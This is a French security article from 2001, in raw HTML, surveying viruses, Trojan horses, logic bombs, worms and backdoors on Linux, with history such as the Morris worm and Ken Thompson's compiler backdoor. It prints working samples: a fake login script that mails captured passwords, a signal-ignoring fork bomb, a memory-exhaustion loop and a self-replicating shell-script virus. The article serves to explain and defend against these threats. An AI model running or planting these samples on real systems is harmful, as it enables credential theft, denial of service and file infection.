Juillet 2001<\/p>\n
<\/p>\n
Cet article passe en revue les probl\u00e8mes de s\u00e9curit\u00e9 interne pouvant se pr\u00e9senter sur un syst\u00e8me Linux du seul fait de logiciels agressifs, sans intervention humaine\u00a0: virus, vers, chevaux de Troie, etc. Nous d\u00e9taillerons les diff\u00e9rents types de dangers possibles, en examinant les avantages et les inconv\u00e9nients des logiciels libres dans cette perspective.<\/p>\n
Il existe principalement quatre types de menaces distinctes, ce qui peut semer la confusion dans l’esprit de l’utilisateur, d’autant qu’il arrive fr\u00e9quemment qu’une attaque s’appuie sur plusieurs m\u00e9canismes\u00a0:<\/p>\n
La classification n’est pas toujours tr\u00e8s ais\u00e9e\u00a0; il y a par exemple des programmes que certains observateurs classent dans les virus et d’autres dans les vers sans qu’une d\u00e9cision d\u00e9finitive puisse \u00eatre prise. Cela n’a pas une grande importance dans le cadre de cet article qui veut simplement clarifier les id\u00e9es sur les dangers qui peuvent menacer un syst\u00e8me Linux.<\/p>\n
Contrairement \u00e0 ce que certains croient, ces quatre fl\u00e9aux existent d’ores et d\u00e9j\u00e0 sous Linux. Certes, les virus trouvent dans ce syst\u00e8me un terrain moins propice \u00e0 leur d\u00e9veloppement que sous Dos par exemple, mais il ne faut pas pour autant n\u00e9gliger le danger pr\u00e9sent. Nous allons donc examiner en d\u00e9tail les risques encourus face \u00e0 chacun de ces m\u00e9canismes.<\/p>\n
Un virus est un morceau de code install\u00e9 au sein d’un programme h\u00f4te, et capable de se r\u00e9pliquer afin d’infester un nouveau fichier ex\u00e9cutable. En fait, les virus sont n\u00e9s dans les ann\u00e9es soixante-dix, dans le cadre d’un jeu intellectuel en vogue parmi les programmeurs de l’\u00e9poque\u00a0: la \u00ab\u00a0core war<\/em>\u00ab\u00a0. Ce jeu est issu des laboratoires Bell AT&T [MARSDEN 00]. Le but du jeu est de faire fonctionner en parall\u00e8le dans un environnement m\u00e9moire limit\u00e9 des petits programmes ayant pour but de se d\u00e9truire les uns les autres. Le syst\u00e8me d’exploitation n’offrait pas de protection entre les espaces m\u00e9moire des diff\u00e9rents programmes, aussi leur \u00e9tait-il possible de s’agresser mutuellement pour essayer de tuer les concurrents. Pour cela certains bombardaient avec des ‘0’ la zone m\u00e9moire la plus large possible, d’autres se d\u00e9pla\u00e7aient en permanence dans l’espace d’adressage en esp\u00e9rant \u00e9craser le code d’un adversaire, certains m\u00eames coop\u00e9raient \u00e0 plusieurs pour \u00e9liminer un ennemi coriace.<\/p>\n Les algorithmes mis en oeuvre pour ce jeu \u00e9taient traduits dans un langage d’assemblage sp\u00e9cialement con\u00e7u pour l’occasion, le \u00ab\u00a0red code<\/em>\u00ab\u00a0, qui \u00e9tait ex\u00e9cut\u00e9 par l’interm\u00e9diaire d’un \u00e9mulateur, disponible sur l’essentiel des machines existantes. L’int\u00e9r\u00eat que l’on portait \u00e0 ce jeu \u00e9tait le fruit d’une simple curiosit\u00e9 scientifique, comparable \u00e0 l’enthousiasme ambiant vis-\u00e0-vis des explorations du Jeu de la Vie de Conway, des fractales, des algorithmes g\u00e9n\u00e9tiques, etc. N\u00e9anmoins, \u00e0 la suite des articles concernant la\u00a0core war<\/em> parus dans le journal\u00a0Scientific American<\/em> [DEWDNEY 84], l’in\u00e9vitable se produisit et plusieurs personnes se mirent \u00e0 \u00e9crire des portions de code s’auto-r\u00e9pliquant en s’accrochant au secteur de d\u00e9marrage des disquettes ou aux fichiers ex\u00e9cutables, tout d’abord sur ordinateurs Apple ][, puis MacIntosh et PC.<\/p>\n Le syst\u00e8me d’exploitation Ms Dos constituait l’environnement de choix pour la prolif\u00e9ration des virus\u00a0: fichiers ex\u00e9cutables statiques au format bien connu, pas de m\u00e9canisme de protection de la m\u00e9moire, aucune s\u00e9curit\u00e9 de droits d’acc\u00e8s aux fichiers, g\u00e9n\u00e9ralisation des programmes r\u00e9sidentsTSR<\/em> empil\u00e9s en m\u00e9moire, etc. Il faut \u00e9galement ajouter l’\u00e9tat d’esprit g\u00e9n\u00e9ral des utilisateurs, \u00e9changeant fr\u00e9n\u00e9tiquement des programmes ex\u00e9cutables sur disquettes sans se soucier de la provenance des fichiers.<\/p>\n Dans son expression la plus simple, un virus est donc un petit morceau de code qui sera ex\u00e9cut\u00e9 en suppl\u00e9ment lors du lancement d’une application. Il profitera de ce moment pour rechercher d’autres fichiers ex\u00e9cutables encore non infect\u00e9s, s’y incrustera (de pr\u00e9f\u00e9rence en laissant le programme original intact pour plus de discr\u00e9tion) et se terminera. Lorsqu’on lancera le nouveau fichier ex\u00e9cutable, l’op\u00e9ration recommencera \u00e0 nouveau. Les virus peuvent disposer d’une panoplie impressionnante d’armes pour s’auto-r\u00e9pliquer. Dans [LUDWIG 91] et [LUDWIG 93] se trouve la description d\u00e9taill\u00e9e de virus pour Dos, disposant de techniques sophistiqu\u00e9es de dissimulation pour \u00e9chapper aux logiciels anti-virus courants\u00a0: encryptage al\u00e9atoire, modification permanente du code du virus, etc. Il est m\u00eame possible de rencontrer des virus mettant en pratique les m\u00e9thodes des algorithmes g\u00e9n\u00e9tiques pour optimiser leurs chances de survie et de reproduction. Des informations similaires peuvent \u00eatre trouv\u00e9es dans un article assez c\u00e9l\u00e8bre\u00a0: [SPAFFORD 94].<\/p>\n Mais il ne faut pas oublier qu’au-del\u00e0 d’un sujet d’exp\u00e9rience en vie artificielle, le virus informatique peut causer d’importants d\u00e9g\u00e2ts. Car si le principe de la r\u00e9plication multiple d’une portion de code n’a pas d’autres r\u00e9percussions qu’un gaspillage de place (disque et m\u00e9moire), les virus sont g\u00e9n\u00e9ralement employ\u00e9s comme support – comme moyen de transport – pour d’autres entit\u00e9s d\u00e9j\u00e0 beaucoup plus antipathiques\u00a0: les\u00a0bombes logiques<\/em>, que nous retrouvons \u00e9galement au sein des chevaux de Troie.<\/p>\n Timeo Danaos et dona ferentes – Je crains les grecs m\u00eame quand ils font un don.<\/em> Les Troyens assi\u00e9g\u00e9s ont eu la mauvaise id\u00e9e de faire entrer dans leur ville une immense statue en bois repr\u00e9sentant un cheval, abandonn\u00e9e par les assaillants grecs \u00e0 titre d’offrande religieuse. Le cheval de Troie recelait en son flanc un v\u00e9ritable commando qui une fois infiltr\u00e9 dans la place profita de la nuit pour attaquer la ville de l’int\u00e9rieur, permettant aux Grecs de gagner la guerre de Troie.<\/p>\n Le terme c\u00e9l\u00e8bre de \u00ab\u00a0cheval de Troie\u00a0\u00bb est souvent employ\u00e9 dans le domaine de la s\u00e9curit\u00e9 informatique pour d\u00e9signer une application\u00a0a priori<\/em>innocente servant, \u00e0 l’instar des virus vus plus haut, \u00e0 v\u00e9hiculer un code destructeur nomm\u00e9\u00a0bombe logique<\/em>.<\/p>\n Une bombe logique est une portion de programme volontairement nuisible, dont les effets peuvent \u00eatre tr\u00e8s vari\u00e9s\u00a0:<\/p>\n Dans certaines situations la bombe logique peut \u00eatre \u00e9crite pour un syst\u00e8me cible bien sp\u00e9cifique sur lequel elle tentera de voler des informations confidentielles, de d\u00e9truire des fichiers pr\u00e9cis ou de discr\u00e9diter un utilisateur en empruntant son identit\u00e9. Les exemplaires de cette bombe s’ex\u00e9cutant sur une autre machine seront totalement inoffensifs.<\/p>\n La bombe logique peut aussi tenter de d\u00e9truire physiquement le syst\u00e8me sur lequel elle se trouve. Les possibilit\u00e9s sont relativement rares, mais existent malgr\u00e9 tout (effacement de m\u00e9moire CMOS, modification de la m\u00e9moire flash des modems, retours en arri\u00e8re prolong\u00e9s sur les tables tra\u00e7antes pouvant entra\u00eener des bourrages destructeurs, d\u00e9placement acc\u00e9l\u00e9r\u00e9 des t\u00eates de lecture des disques\u2026)<\/p>\n Pour filer la m\u00e9taphore explosive, nous dirons qu’une bombe logique n\u00e9cessite pour son activation l’intervention d’un d\u00e9tonateur. En effet, entreprendre des actions d\u00e9vastatrices d\u00e8s le premier lancement d’un cheval de Troie ou d’un virus est une tactique tr\u00e8s mauvaise du point de vue efficacit\u00e9. Apr\u00e8s son installation, il est pr\u00e9f\u00e9rable que la bombe logique attende un peu avant d’exploser, cela augmentera les chances d’atteindre d’autres syst\u00e8mes dans le cas d’une transmission par virus, et dans celui d’un cheval de Troie, cela \u00e9vitera que l’utilisateur ne fasse trop facilement le rapprochement entre l’installation de la nouvelle application et les comportements anormaux de sa machine. Comme les actions n\u00e9fastes, l’\u00e9v\u00e8nement d\u00e9clencheur peut \u00eatre tr\u00e8s vari\u00e9\u00a0: d\u00e9lai de dix jours apr\u00e8s l’installation, disparition d’un compte utilisateur donn\u00e9 (licenciement), clavier et souris inactifs depuis trente minutes, charge importante de la file d’impression\u2026 les possibilit\u00e9s ne manquent pas\u00a0! Les chevaux de Troie les plus c\u00e9l\u00e8bres, bien que cela soit un peu galvaud\u00e9 de nos jours sont les \u00e9conomiseurs d’\u00e9cran. Derri\u00e8re une fa\u00e7ade attrayante, ces programmes peuvent nuire en toute tranquillit\u00e9, surtout si la bombe logique n’est d\u00e9clench\u00e9e qu’au bout d’une heure par exemple, ce qui assure que l’utilisateur n’est plus devant son ordinateur.<\/p>\n Un autre exemple fameux de cheval de Troie est le script suivant qui affiche un \u00e9cran de connexion login\/password, envoie les informations \u00e0 l’adresse \u00e9lectronique de la personne l’ayant lanc\u00e9, puis se termine. S’il fonctionne sur un terminal apparemment inutilis\u00e9, ce script permettra de capturer le mot de passe de la prochaine personne essayant de se connecter.<\/p>\n Pour qu’il se d\u00e9connecte en se terminant, il faut le lancer avec la commande\u00a0 Et Paul se retrouva sur le Ver, exultant, comme un empereur dominant l’univers.<\/em> Les \u00ab\u00a0vers<\/em>\u00a0\u00bb sont issus du principe des virus. Il s’agit de programmes essayant, par r\u00e9plication, d’obtenir une diss\u00e9mination maximale. Ils peuvent \u00e9galement contenir, bien que ce ne soit pas leur caract\u00e9ristique premi\u00e8re, une bombe logique \u00e0 d\u00e9clenchement retard\u00e9. La diff\u00e9rence entre vers et virus vient du fait que les vers n’emploient pas un programme h\u00f4te comme moyen de transport, mais utilisent les possibilit\u00e9s offertes par les r\u00e9seaux, g\u00e9n\u00e9ralement le courrier \u00e9lectronique, pour se propager de machines en machines.\u00a0 Les vers sont d’un niveau technique relativement \u00e9lev\u00e9\u00a0; ils utilisent les failles de s\u00e9curit\u00e9 des logiciels proposant des services r\u00e9seau pour forcer l’ex\u00e9cution d’une copie d’eux-m\u00eames sur une machine distante. L’arch\u00e9type en est l'\u00a0\u00bbInternet Worm<\/em>\u00a0\u00bb de 1988.<\/p>\n L’Internet Worm<\/em> est un exemple de ver pur, ne contenant pas de bombe logique, mais dont l’effet d\u00e9vastateur involontaire f\u00fbt quand m\u00eame redoutable. On peut en trouver une description sommaire mais pr\u00e9cise dans [KEHOE 92] ou une analyse d\u00e9taill\u00e9e dans [SPAFFORD 88] ou [EICHIN 89]. On en trouve \u00e9galement une narration moins technique mais plus palpitante dans [STOLL 89] (\u00e0 la suite de l’aventure principale de l’Oeuf du Coucou<\/em>), o\u00f9 la fr\u00e9n\u00e9sie des \u00e9quipes luttant contre ce ver succ\u00e8de \u00e0 la vague de panique gagnant les administrateurs des syst\u00e8mes touch\u00e9s.<\/p>\n Rapidement d\u00e9crit, ce ver \u00e9tait un programme \u00e9crit par Robert Morris Jr, \u00e9tudiant \u00e0 l’universit\u00e9 de Cornell, d\u00e9j\u00e0 connu pour un article sur les probl\u00e8mes de s\u00e9curit\u00e9 des protocoles r\u00e9seaux [MORRIS 85]. Le fait qu’il s’agisse \u00e9galement du fils d’un des responsables de la s\u00e9curit\u00e9 informatique de la NCSC, branche de la NSA, ajouta \u00e0 l’impact de cette identification. Le programme lanc\u00e9 en fin d’apr\u00e8s-midi le 2 novembre 1988 paralysa une grande partie des syst\u00e8mes reli\u00e9s \u00e0 Internet. Il fonctionnait en plusieurs temps\u00a0:<\/p>\n Il faut noter qu’une fois que le ver avait trouv\u00e9 le moyen d’ex\u00e9cuter quelques instructions sur la machine distante, sa recopie \u00e9tait assez complexe. Elle impliquait la transmission d’un petit programme en C, recompil\u00e9 sur place, puis lanc\u00e9. Celui-ci \u00e9tablissait une connexion TCP\/IP avec l’ordinateur de d\u00e9part, et r\u00e9cup\u00e9rait les fichiers binaires complets du ver. Ces derniers, pr\u00e9compil\u00e9s, existaient pour plusieurs architectures (Vax et Sun), ils \u00e9taient essay\u00e9s l’un apr\u00e8s l’autre. De plus le ver faisait preuve de beaucoup de pr\u00e9cautions pour se dissimuler, ne pas laisser de trace, etc. Malheureusement, le m\u00e9canisme qui devait \u00e9viter qu’un m\u00eame ordinateur soit infect\u00e9 \u00e0 plusieurs reprises ne fonctionna pas comme pr\u00e9vu, et l’aspect nuisible du ver\u00a0Internet 88<\/em>, qui ne contenait pas de bombe logique, se manifesta donc par une forte surcharge des syst\u00e8mes atteints (et notamment un engorgement des courriers \u00e9lectroniques, ce qui entra\u00eena par ailleurs un retard dans la diffusion des rem\u00e8des).<\/p>\n Les vers sont relativement rares, du fait de la complexit\u00e9 de leur r\u00e9alisation. Il ne faut pas les confondre avec un autre type de dangers, de plus en plus courants, les virus se transmettant en pi\u00e8ce attach\u00e9e des courriers \u00e9lectroniques \u00e0 la mani\u00e8re du fameux \u00ab\u00a0ILoveYou<\/em>\u00ab\u00a0. De conception beaucoup plus simple, il s’agit en r\u00e9alit\u00e9 de macros \u00e9crites (en Basic) pour des applications de bureautique lanc\u00e9es automatiquement lorsque le courrier est lu. Cela ne fonctionne que sur certains syst\u00e8me d’exploitation, lorsque le logiciel de consultation du courrier est configur\u00e9 de mani\u00e8re simpliste. Ces programmes s’apparentent beaucoup plus au chevaux de Troie qu’aux vers, puisqu’ils demandent une action effective de la part de l’utilisateur pour \u00eatre lanc\u00e9s.<\/p>\n Les acc\u00e8s cach\u00e9s (backdoors<\/em>) peuvent \u00eatre rapproch\u00e9s des chevaux de Troie, mais ils ne sont toutefois pas identiques. Un acc\u00e8s cach\u00e9 permet \u00e0 un utilisateur inform\u00e9 d’effectuer une action secr\u00e8te sur un logiciel, afin d’en obtenir un comportement diff\u00e9rent. Cela peut s’apparenter aux\u00a0cheat codes<\/em> que l’on saisit durant un jeu pour disposer de ressources suppl\u00e9mentaires, arriver directement \u00e0 un niveau sup\u00e9rieur, etc. Mais cela concerne \u00e9galement des applications critiques comme l’authentification des connexions ou le courrier \u00e9lectronique, qui peuvent offrir un acc\u00e8s dissimul\u00e9 gr\u00e2ce \u00e0 un mot de passe connu du seul concepteur du logiciel.<\/p>\n Le fait de laisser une trappe ouverte sur un logiciel pour pouvoir l’utiliser sans passer par la phase d’authentification normale est souvent d\u00fb \u00e0 des programmeurs d\u00e9sirant faciliter la phase de d\u00e9bogage, m\u00eame une fois l’application install\u00e9e sur le site client. Il s’agit parfois d’acc\u00e8s officiels disposant de mots de passe par d\u00e9faut ( On se souviendra des diff\u00e9rents acc\u00e8s dissimul\u00e9s permettant de dialoguer avec le coeur du syst\u00e8me du film \u00ab\u00a0Wargame<\/em>\u00ab\u00a0, mais on peut \u00e9galement retrouver des t\u00e9moignages ant\u00e9rieurs relatant de telles pratiques. Dans un article assez incroyable [THOMPSON 84], Ken Thompson, l’un des p\u00e8res d’Unix, d\u00e9crit un m\u00e9canisme d’acc\u00e8s cach\u00e9 qu’il avait mis en place sur les syst\u00e8mes Unix plusieurs ann\u00e9es auparavant\u00a0:<\/p>\n Que faire contre ceci\u00a0? Dans l’absolu, rien\u00a0! La seule possibilit\u00e9 serait de repartir avec un syst\u00e8me totalement vierge et insoup\u00e7onnable. \u00c0 moins de reconstruire \u00e0 partir de z\u00e9ro une machine dont on cr\u00e9e tout le microcode, le syst\u00e8me d’exploitation, les compilateurs, et les utilitaires, rien ne nous permet d’\u00eatre s\u00fbrs de l’innocuit\u00e9 d’une application donn\u00e9e m\u00eame si les sources en sont disponibles.<\/p>\n Nous avons examin\u00e9 les risques essentiels auxquels un syst\u00e8me quelconque peut \u00eatre expos\u00e9. \u00c0 pr\u00e9sent, il nous faut d\u00e9terminer les menaces qui p\u00e8sent plus particuli\u00e8rement sur les logiciels libres et sur Linux.<\/p>\n Int\u00e9ressons-nous tout d’abord aux d\u00e9g\u00e2ts qu’une bombe logique est susceptible de provoquer si elle s’ex\u00e9cute sur une station Linux. Naturellement cela varie en fonction de l’effet recherch\u00e9 et des privil\u00e8ges de l’utilisateur sous l’identit\u00e9 duquel elle se d\u00e9clenche.<\/p>\n En ce qui concerne la destruction de fichiers syst\u00e8me ou la consultation de donn\u00e9es confidentielles, deux cas sont possibles. Si la bombe s’ex\u00e9cute sous l’identit\u00e9\u00a0root<\/em>, elle aura tout pouvoir sur la machine, y compris l’\u00e9crasement de toutes les partitions, et les \u00e9ventuelles menaces sur le mat\u00e9riel que nous avons \u00e9voqu\u00e9es plus haut. En revanche, si elle s’ex\u00e9cute sous une identit\u00e9 quelconque, elle ne pourra pas \u00eatre plus destructrice qu’un utilisateur sans privil\u00e8ge ne le serait. Elle ne pourra d\u00e9truire que les donn\u00e9es appartenant \u00e0 cet utilisateur pr\u00e9cis. En ce cas, la responsabilit\u00e9 de chacun s’applique envers ses propres fichiers. Un administrateur syst\u00e8me consciencieux ne r\u00e9alise qu’un minimum de t\u00e2ches en \u00e9tant connect\u00e9 sous l’identit\u00e9\u00a0root<\/em>, ce qui diminue la probabilit\u00e9 de d\u00e9clencher une bombe logique avec ce compte.<\/p>\n Si le syst\u00e8me Linux prot\u00e8ge relativement bien les donn\u00e9es priv\u00e9es et les acc\u00e8s au mat\u00e9riel, en revanche il reste sensible aux attaques visant simplement \u00e0 le rendre inop\u00e9rant par consommation excessive des ressources. Par exemple, le programme C suivant est tr\u00e8s difficile \u00e0 arr\u00eater, m\u00eame si on le d\u00e9marre depuis un compte utilisateur anodin, car s’il n’y a pas de limite impos\u00e9e pour le nombre de processus par utilisateur, il va d\u00e9vorer toutes les entr\u00e9es disponibles de la table des processus, et emp\u00eacher toute nouvelle connexion pour essayer de le tuer\u00a0:<\/p>\n Les limitations que l’on peut imposer aux utilisateurs (par l’appel-syst\u00e8me\u00a0 Dans le m\u00eame ordre d’id\u00e9e, un programme comme le suivant qui consomme toute la m\u00e9moire disponible, puis se met en boucle d\u00e9vorant les cycles CPU est tr\u00e8s g\u00eanant car il perturbe le fonctionnement d’autres processus\u00a0:<\/p>\n En principe, ce programme est automatiquement tu\u00e9 par le m\u00e9canisme de gestion de la m\u00e9moire virtuelle dans les versions r\u00e9centes du noyau. Mais auparavant, le noyau peut d\u00e9truire d’autres t\u00e2ches r\u00e9clamant beaucoup de m\u00e9moire et r\u00e9cemment inactives (applications graphiques X11 par exemple). En outre, tous les autres processus r\u00e9clamant de la m\u00e9moire verront leurs demandes \u00e9chouer, ce qui les conduit bien souvent \u00e0 se terminer imm\u00e9diatement.<\/p>\n La mise hors-service de fonctionnalit\u00e9s r\u00e9seau, est \u00e9galement assez simple, en surchargeant le port concern\u00e9 par des demandes de connexion incessantes. Les rem\u00e8des existent pour \u00e9viter ceci, mais ils ne sont pas toujours mis en oeuvre par l’administrateur syst\u00e8me. Nous voyons donc que sous Linux, bien qu’une bombe logique d\u00e9clench\u00e9e par un utilisateur quelconque ne puisse pas d\u00e9truire de fichiers ne lui appartenant pas, les nuisances sont v\u00e9ritablement possibles et assez simples \u00e0 r\u00e9aliser puisqu’il suffit de combiner une poign\u00e9e de\u00a0 Contrairement \u00e0 une id\u00e9e trop souvent r\u00e9p\u00e9t\u00e9e, les virus peuvent tr\u00e8s bien constituer une menace sous Linux. Il en existe d’ailleurs plusieurs. Ce qui est vrai en revanche, c’est qu’un virus sous Linux se trouvera dans un terrain o\u00f9 la diss\u00e9mination sera difficile. Tout d’abord observons la phase d’infection d’une machine. Il faut que le code du virus y soit ex\u00e9cut\u00e9. Cela signifie qu’un fichier ex\u00e9cutable corrompu a \u00e9t\u00e9 copi\u00e9 depuis un autre syst\u00e8me. Dans le milieu Linux, l’habitude veut que pour fournir une application \u00e0 un correspondant, on ne lui envoie pas directement les fichiers ex\u00e9cutables, mais on lui transmet plut\u00f4t l’URL<\/em> o\u00f9 on a obtenu le logiciel. Cela signifie que l’infection proviendra \u00e0 coup s\u00fbr d’un site officiel, o\u00f9 elle sera probablement d\u00e9tect\u00e9e tr\u00e8s rapidement. De m\u00eame, une fois une machine infect\u00e9e, pour qu’elle diss\u00e9mine \u00e0 son tour le virus, il faudrait qu’elle soit utilis\u00e9e comme plate-forme de distribution pour des applications pr\u00e9compil\u00e9es, cas peu r\u00e9pandu dans l’ensemble. En fait le fichier ex\u00e9cutable n’est pas un bon moyen de transport pour une bombe logique dans le monde des logiciels libres.<\/p>\n En ce qui concerne la diss\u00e9mination interne \u00e0 une machine, il est \u00e9vident qu’une application infect\u00e9e ne peut \u00e9tendre la contagion qu’aux fichiers sur lesquels l’utilisateur qui la lance a un droit d’\u00e9criture. L’administrateur syst\u00e8me prudent travaillant sur le compte\u00a0root<\/em> uniquement pour r\u00e9aliser les op\u00e9rations n\u00e9cessitant v\u00e9ritablement des privil\u00e8ges, il est peu probable qu’il lance un nouveau logiciel en \u00e9tant connect\u00e9 sous cette identit\u00e9. \u00c0 moins d’installer une application\u00a0Set-UID root<\/em> infect\u00e9e par un virus, le danger est donc bien amoindri. Lorsqu’un utilisateur quelconque lancera un programme infect\u00e9, le virus ne pourra agir que sur les fichiers dont l’utilisateur est propri\u00e9taire, ce qui l’emp\u00eachera de se r\u00e9pandre dans les utilitaires syst\u00e8me.<\/p>\n Si les virus ont longtemps repr\u00e9sent\u00e9 une utopie sous Unix, c’est \u00e9galement en raison de la diversit\u00e9 des processeurs (donc des langages d’assemblage) et des biblioth\u00e8ques (donc des r\u00e9f\u00e9rences objets) qui limitait la port\u00e9e de tout code pr\u00e9compil\u00e9. Aujourd’hui ce n’est plus autant le cas, et un virus infectant les fichiers ELF compil\u00e9s pour Linux sur processeur i386 avec la GlibC 2.1 trouverait un nombre de cibles importantes. D’autre part un virus peut tr\u00e8s bien \u00eatre \u00e9crit dans un langage ne d\u00e9pendant pas de l’h\u00f4te l’ex\u00e9cutant. Voici par exemple un virus pour script shell. Il essaye de s’introduire en t\u00eate de tout script shell rencontr\u00e9 en aval du r\u00e9pertoire o\u00f9 on le lance. Pour \u00e9viter d’infecter plusieurs fois de suite le m\u00eame script, le virus ignore les fichiers dont la seconde ligne contienne le commentaire \u00ab\u00a0infect\u00e9\u00a0\u00bb ou \u00ab\u00a0vaccin\u00e9\u00a0\u00bb.<\/p>\n Le virus ne prend pas de pr\u00e9caution pour masquer sa pr\u00e9sence ou son action, hormis de s’ex\u00e9cuter \u00e0 l’arri\u00e8re-plan tout en laissant le script original r\u00e9aliser son travail normal. Bien \u00e9videmment ne lancez pas ce script en \u00e9tant connect\u00e9 sous l’identit\u00e9\u00a0root<\/em> ! Surtout si vous remplacez le\u00a0 La table 1 regroupe des informations sur les virus les plus connus sous Linux. Tous ces virus infectent les fichiers ex\u00e9cutables au format Elf en ins\u00e9rant leur code juste apr\u00e8s l’ent\u00eate du fichier, et en d\u00e9calant le reste du code original. Sauf indication contraire, ils recherchent des cibles d’infection potentielles dans les r\u00e9pertoires syst\u00e8me. On voit \u00e0 la lumi\u00e8re de ce tableau que le ph\u00e9nom\u00e8ne des virus sous Linux n’est pas anecdotique, m\u00eame s’il n’est pas trop alarmant, essentiellement parce que ces virus sont jusqu’\u00e0 pr\u00e9sent inoffensifs.<\/p>\nChevaux de Troie et bombes logiques<\/h3>\n
\n(Virgile, l’\u00c9n\u00e9ide<\/em>, II, 49).<\/p>\n\n
echo -n \"login: \"\n read login\n echo -n \"Password: \"\n stty -echo\n read passwd\n stty sane\n mail $USER <<- fin\n login\u00a0: $login\n passwd\u00a0: $passwd\n fin\n echo\n echo \"Login incorrect\"\n sleep 1\n logout<\/pre>\n
exec<\/code> du shell. La victime pensera avoir fait une faute de frappe en voyant le message \u00ab\u00a0Login incorrect<\/code>\u00a0\u00bb et se connectera \u00e0 nouveau par le m\u00e9canisme normal cette fois. Des versions plus \u00e9volu\u00e9es peuvent simuler la bo\u00eete de dialogue de connexion sous X11. Pour \u00e9viter ce genre de pi\u00e8ge, il est bon de prendre l’habitude, en arrivant sur un terminal, de toujours faire un cycle login\/password fictif, avec des caract\u00e8res quelconques, afin d’\u00eatre s\u00fbr d’avoir vraiment \u00e0 faire au syst\u00e8me de connexion officiel (c’est un r\u00e9flexe que l’on peut acqu\u00e9rir rapidement).<\/p>\nVers<\/h3>\n
\n(F. Herbert \u00ab\u00a0Dune<\/em>\u00ab\u00a0)<\/p>\n\n
netstat<\/code> fournissant des informations sur les interfaces r\u00e9seau.<\/li>\n\/etc\/passwd<\/code>) accessible en lecture, profitant ainsi des utilisateurs ayant fait un mauvais choix de mot de passe. Cette premi\u00e8re faille a depuis \u00e9t\u00e9 combl\u00e9e par le m\u00e9canisme des\u00a0shadow passwords<\/code>.<\/li>\n~\/.rhost<\/code> et\u00a0\/etc\/hosts.equiv<\/code>. Dans ce cas il utilisait le m\u00e9canisme\u00a0rsh<\/code> pour ex\u00e9cuter des instructions sur la machine distante. Il pouvait ainsi se recopier sur le nouvel h\u00f4te et le cycle reprenait.<\/li>\nfingerd<\/code>. Ce bogue permettait l’ex\u00e9cution de code \u00e0 distance. Aussi le vers pouvait-il se recopier sur le nouveau syst\u00e8me et recommencer. Cela ne fonctionnait dans la pratique que sur certains types de processeurs.<\/li>\nsendmail<\/code>, et permettant d’envoyer un courrier qui \u00e9tait finalement transmis sur l’entr\u00e9e standard du programme indiqu\u00e9 en tant que destinataire. Cette option n’aurait jamais due \u00eatre activ\u00e9e sur des machines en exploitation, mais la plupart des administrateurs en ignoraient malheureusement l’existence.<\/li>\n<\/ol>\nAcc\u00e8s cach\u00e9s<\/h3>\n
system<\/code>,\u00a0admin<\/code>,\u00a0superuser<\/code>, etc) dont la pr\u00e9sence n’est document\u00e9e que de mani\u00e8re obscure ce qui conduit les administrateurs ult\u00e9rieurs \u00e0 les laisser en place.<\/p>\n\n
\/bin\/login<\/code> pour y incorporer une portion de code offrant l’acc\u00e8s direct au syst\u00e8me sur saisie d’un mot de passe pr\u00e9compil\u00e9 en dur (sans tenir compte de\u00a0\/etc\/passwd<\/code>). Ainsi tout syst\u00e8me fonctionnant avec cette version de\u00a0login<\/code> pouvait-il \u00eatre visit\u00e9 par Thompson.<\/li>\nlogin.c<\/code> \u00e9tait pr\u00e9sent sur les syst\u00e8mes Unix, et n’importe qui aurait pu voir le code pi\u00e9g\u00e9. Thompson fournissait donc un source login.c<\/code> propre, ne contenant pas la trappe d’acc\u00e8s.<\/li>\nlogin.c<\/code> et effacer la version pi\u00e9g\u00e9e. Aussi Thompson modifia-t-il le compilateur C standard pour qu’il ajoute lui-m\u00eame l’acc\u00e8s cach\u00e9 lorsqu’il s’apercevait qu’on lui demandait de compiler\u00a0login.c<\/code>.<\/li>\ncc.c<\/code> \u00e9tait disponible, et n’importe qui aurait pu voir les lignes suspectes ou recompiler le compilateur. Il fournissait donc une version innocente des sources du compilateur C, mais le fichier binaire, pr\u00e9alablement trait\u00e9, \u00e9tait pr\u00e9vu pour reconna\u00eetre ses propres fichiers source, et ins\u00e9rait alors le code servant \u00e0 ins\u00e9rer le code servant \u00e0 infecter\u00a0login.c<\/code>\u2026<\/li>\n<\/ul>\nEt sous Linux\u00a0?<\/h2>\n
Bombes logiques<\/h3>\n
#include <signal.h>\n#include <unistd.h>\n\nint main (void)\n{\n int i;\n for (i = 0; i < NSIG; i ++)\n signal (i, SIG_IGN);\n while (1)\n fork ();\n}<\/pre>\nsetrlimit()<\/code>, et la fonction\u00a0ulimit<\/code> du shell) permettent d’abr\u00e9ger le fonctionnement d’un tel programme, mais leur action n’intervient qu’apr\u00e8s un temps sensible, durant lequel le syst\u00e8me est inaccessible.<\/p>\n#include <stdlib.h>\n#define LG 1024\n\nint main (void)\n{\n char * buffer;\n while ((buffer = malloc (LG))\u00a0!= NULL)\n memset (buffer, 0, LG);\n while (1)\n \u00a0;\n}<\/pre>\nfork()<\/code>,\u00a0malloc()<\/code> et\u00a0connect()<\/code>pour \u00e9prouver durement le syst\u00e8me et les services r\u00e9seau.<\/p>\nVirus<\/h3>\n
Subject: Unix Virus\nVOUS AVEZ RECU UN VIRUS UNIX\nCe virus fonctionne sur un principe coop\u00e9ratif\u00a0:\nSi vous utilisez Linux ou une variante d'Unix, veuillez\nretransmettre ce message \u00e0 toutes vos connaissances, et\nd\u00e9truire quelques fichiers au hasard sur votre syst\u00e8me.<\/pre>\n
#! \/bin\/sh\n# infect\u00e9\n( tmp_fic=\/tmp\/$$\n candidats=$(find . -type f -uid $UID -perm -0755)\n for fic in $candidats\u00a0; do\n exec < $fic\n # Essayons de lire une premi\u00e8re ligne,\n if\u00a0! read ligne\u00a0; then\n continue\n fi\n # et v\u00e9rifions que ce soit un script shell.\n if [ \"$ligne\"\u00a0!= \"#!\/bin\/sh\" ] && [ \"$ligne\"\u00a0!= \"#! \/bin\/sh\" ]\u00a0; then\n continue\n fi\n # Lisons une seconde ligne.\n if\u00a0! read ligne\u00a0; then\n continue\n fi\n # Le fichier est-il d\u00e9j\u00e0 infect\u00e9 ou vaccin\u00e9\u00a0?\n if [ \"$ligne\" == \"# vaccin\u00e9\" ] || [ \"$ligne\" == \"# infect\u00e9\" ]\u00a0; then\n continue\n fi\n # Sinon on l'infecte\u00a0: recopier le corps du virus,\n head -33 $0 > $tmp_fic\n # puis le fichier original.\n cat $fic >> $tmp_fic\n # \u00c9craser le fichier original.\n cat $tmp_fic > $fic\n done\n rm -f $tmp_fic\n) 2>\/dev\/null &<\/pre>\n
